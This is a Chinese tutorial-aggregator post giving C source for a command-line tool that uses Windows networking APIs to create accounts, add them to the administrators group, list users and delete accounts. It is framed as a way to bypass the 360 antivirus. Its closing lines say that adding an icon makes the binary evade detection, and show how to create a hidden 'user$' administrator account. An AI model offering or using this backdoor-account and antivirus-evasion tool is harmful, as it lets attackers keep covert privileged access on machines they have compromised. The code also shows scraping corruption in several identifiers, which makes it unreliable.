大佬教程收集整理的这篇文章主要介绍了bypass 360添加用户,大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。
使用Windows API可执行该操作
/* UNICODE */
#ifndef UNICODE
#define UNICODE
#endif
/* 头文件 */
#include <stdio.h>
#include <assert.h>
#include <windows.h>
#include <lm.h>
#pragma comment(lib, "netapi32.lib")
/*************************************
* AddUser
* 功能 增加用户
* 参数 szServerName,主机名,如果为本机增加用户,设置为NULL
* szUserName,用户名
* szpassword,密码
**************************************/
int addUser(LPWSTR szServerName,
LPWSTR szUserName,
LPWSTR szpassword)
{
user_iNFO_1 ui;
DWORD dwLevel = 1; // 使用 user_iNFO_1 作为参数
DWORD dwError = 0;
NET_API_STATUS nStatus;
// 填充 user_iNFO_1
ui.usri1_name = szUserName; // 用户名
ui.usri1_password = szpassword; // 密码
ui.usri1_priv = user_PRIV_USER; // privilege
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;
// 调用 NetUserAdd 增加用户
nStatus = NetUserAdd(szServerName,
dwLevel,
(LPBYTE)&ui,
&dwError);
// 判断结果
/*if (nStatus == NERR_success)
{
wprintf((const wchar_t*)stderr, L"User %s has been successfully added on %sn",
szUserName, szServerName);
}
else
{
fprintf(stderr, "A system error has occurred: %dn", nStatus);
}*/
return 0;
}
/*************************************
* AddUserToGroup
* 功能 为用户组增加用户
* 参数 szServerName,主机名,如果为本机,设置为NULL
* szUserName,用户名
* szGroup,用户组名
**************************************/
int addUserToGroup(LPWSTR szServerName,
LPWSTR szUserName,
LPWSTR szGroup)
{
NET_API_STATUS nStatus;
// 调用 NetGroupAddUser
wchar_t szAccountName[20] = { 0 };
const wchar_t* name;
name = (const wchar_t*)szUserName;
wcscpy(szAccountName, Name);
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname = szAccountName;
nStatus = NetLocalGroupAddMembers(
NULL,
szGroup,
3,
(LPBYTE)&account,
1
);
// 判断结果
/* if (nStatus == NERR_success)
fwprintf(stderr, L"User %s has been successfully added on %sn",
szUserName, szServerName);
else if (nStatus == ERROR_ACCESS_DENIED)
{
printf("1");
}
else if (nStatus == NERR_InvalidComputer)
{
printf("2");
}
else if (nStatus == NERR_NotPriMary)
{
printf("3");
}
else if (nStatus == NERR_SpeGroupOp)
{
printf("4");
}
else if (nStatus == NERR_UserNotFound)
{
printf("5");
}
else if (nStatus == NERR_GroupNotFound)
{
printf("6");
}*/
return 0;
}
/*************************************
* DelUser
* 功能 删除用户
* 参数 szServerName,主机名,如果为本机,设置为NULL
* szUserName,用户名
**************************************/
int DelUser(LPWSTR szServerName, LPWSTR szUserName)
{
DWORD dwError = 0;
NET_API_STATUS nStatus;
// 调用 NetUserDel 删除用户
nStatus = NetUserDel(szServerName, szUserName);
// 判断并显示结果
/*if (nStatus == NERR_success)
fwprintf(stderr, L"User %s has been successfully deleted on %sn",
szUserName, szServerName);
else
fprintf(stderr, "A system error has occurred: %dn", nStatus);*/
return 0;
}
/*************************************
* int Listusers(LPWSTR pszServerName)
* 功能 列举用户
* 参数 szServerName,主机名,如果为本机,设置为NULL
**************************************/
int Listusers(LPWSTR pszServerName)
{
LPuser_iNFO_0 pBuf = NULL;
LPuser_iNFO_0 pTmpBuf;
DWORD dwLevel = 0;
DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH;
DWORD dwEntriesRead = 0;
DWORD dw@R_555_10586@lEntries = 0;
DWORD dwResumeHandle = 0;
DWORD i;
DWORD dw@R_555_10586@lCount = 0;
NET_API_STATUS nStatus;
// 循环,直到可以成功调用 NetUserEnum
do
{
// 调用NetUserEnum函数
nStatus = NetUserEnum(pszServerName,
dwLevel,// 这里设置为0,使用 LPuser_iNFO_0 返回结果
FILTER_NORMAL_ACCOUNT, // 只列举“正常”类型的用户
(LPBYTE*)&pBuf,// LPuser_iNFO_0 保存返回结果
// MAX_PREFERRED_LENGTH,内存由API分配,需要在之后调用NetApiBufferFree释放
dwPrefMaxLen,
&dwEntriesRead,// 读了的 Entries
&dw@R_555_10586@lEntries,// 一共的 Entries
&dwResumeHandlE);
// 判断是否成功
if ((nStatus == NERR_success) || (nStatus == ERROR_MORE_DATA))
{
if ((pTmpBuf = pBuf) != NULL)
{
// 循环读取用户信息
for (i = 0; (i < dwEntriesRead); i++)
{
assert(pTmpBuf != null);
if (pTmpBuf == NULL)
{
fprintf(stderr, "An access violation has occurredn");
break;
}
// 输出
wprintf(L"t-- %sn", pTmpBuf->usri0_Name);
// 下一个
pTmpBuf++;
dw@R_555_10586@lCount++;
}
}
}
else
fprintf(stderr, "A system error has occurred: %dn", nStatus);
// 释放内存
if (pBuf != NULL)
{
NetApiBufferFree(pBuf);
pBuf = NULL;
}
} while (nStatus == ERROR_MORE_DATA); // end do
// 释放内存
if (pBuf != NULL)
NetApiBufferFree(pBuf);
fprintf(stderr, "@R_555_10586@l of %d usersnn", dw@R_555_10586@lCount);
return 0;
}
/*************************************
* int ListGroup(LPWSTR pszServerName)
* 功能 列举用户组
* 参数 szServerName,主机名,如果为本机,设置为NULL
**************************************/
int ListGroup(LPWSTR pszServerName)
{
DWORD dwLevel = 0;
DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH;
DWORD dwEntriesRead = 0;
DWORD dw@R_555_10586@lEntries = 0;
DWORD dwResumeHandle = 0;
DWORD i;
DWORD dw@R_555_10586@lCount = 0;
NET_API_STATUS nStatus;
LPLOCALGROUP_INFO_0 pBuf = NULL;
LPLOCALGROUP_INFO_0 pTmpBuf;
do // begin do
{
// 调用NetLocalGroupEnum 参数设置与NetLocalGroup类似
nStatus = NetLocalGroupEnum(
pszServerName,
0,
(LPBYTE*)&pBuf,
dwPrefMaxLen,
&dwEntriesRead,
&dw@R_555_10586@lEntries,
&dwResumeHandlE);
// 判断结果
if ((nStatus == NERR_success) || (nStatus == ERROR_MORE_DATA))
{
if ((pTmpBuf = pBuf) != NULL)
{
// 循环输出
for (i = 0; (i < dwEntriesRead); i++)
{
assert(pTmpBuf != null);
if (pTmpBuf == NULL)
{
fprintf(stderr, "An access violation has occurredn");
break;
}
wprintf(L"t-- %sn", pTmpBuf->lgrpi0_Name);
pTmpBuf++;
dw@R_555_10586@lCount++;
}
}
}
else
fprintf(stderr, "A system error has occurred: %dn", nStatus);
// 释放内存
if (pBuf != NULL)
{
NetApiBufferFree(pBuf);
pBuf = NULL;
}
} while (nStatus == ERROR_MORE_DATA); // end do
if (pBuf != NULL)
NetApiBufferFree(pBuf);
fprintf(stderr, "@R_555_10586@l of %d groupsnn", dw@R_555_10586@lCount);
return 0;
}
/*************************************
* ShowUsersInfo
* 功能 显示指定用户的信息
* 参数 szServerName,主机名,如果为本机,设置为NULL
* pszUserName,用户名
**************************************/
int ShowUsersInfo(LPWSTR pszServerName, LPWSTR pszUserName)
{
DWORD dwLevel = 4;// 使用 LPuser_iNFO_4 返回结果
LPuser_iNFO_4 pBuf = NULL;
NET_API_STATUS nStatus;
nStatus = NetUserGeTinfo(pszServerName,
pszUserName,
dwLevel, // pBuf参数类型
(LPBYTE*)&pBuf);
// 判断并输出结果
if (nStatus == NERR_success)
{
if (pBuf != NULL)
{
wprintf(L"ntAccount: %sn", pBuf->usri4_Name);
wprintf(L"tComment: %sn", pBuf->usri4_comment);
wprintf(L"tUser comment: %sn", pBuf->usri4_usr_comment);
wprintf(L"tFull name: %sn", pBuf->usri4_full_Name);
wprintf(L"tpriv: %dn", pBuf->usri4_priv);
}
}
else
fprintf(stderr, "A system error has occurred: %dn", nStatus);
// 释放内存
if (pBuf != NULL)
NetApiBufferFree(pBuf);
return 0;
}
/*************************************
* wmain
* 功能 入口函数,根据参数判断需要调用的功能函数
* 参数 参见usage输出
**************************************/
int __cdecl wmain(int ac, wchar_t* av[])
{
if (ac == 4 && lstrcmpW(av[1], L"-a") == 0)
{
AddUser(NULL, av[2], av[3]);
}
else if (ac == 4 && lstrcmpW(av[1], L"-g") == 0)
{
AddUserToGroup(NULL, av[2], av[3]);
}
else if (ac == 3 && lstrcmpW(av[1], L"-i") == 0)
{
ShowUsersInfo(NULL, av[2]);
}
else if (ac == 2 && lstrcmpW(av[1], L"-i") == 0)
{
Listusers(null);
ListGroup(null);
}
else if (ac == 3 && lstrcmpW(av[1], L"-d") == 0)
{
DelUser(NULL, av[2]);
}
return 0;
}
可以增加图标资源,即可免杀
add.exe -a user$ password 增加用户
add.exe -g user$ administrators 将用户添加到管理员组
add.exe -d user$ 删除用户
以上是大佬教程为你收集整理的bypass 360添加用户全部内容,希望文章能够帮你解决bypass 360添加用户所遇到的程序开发问题。
如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。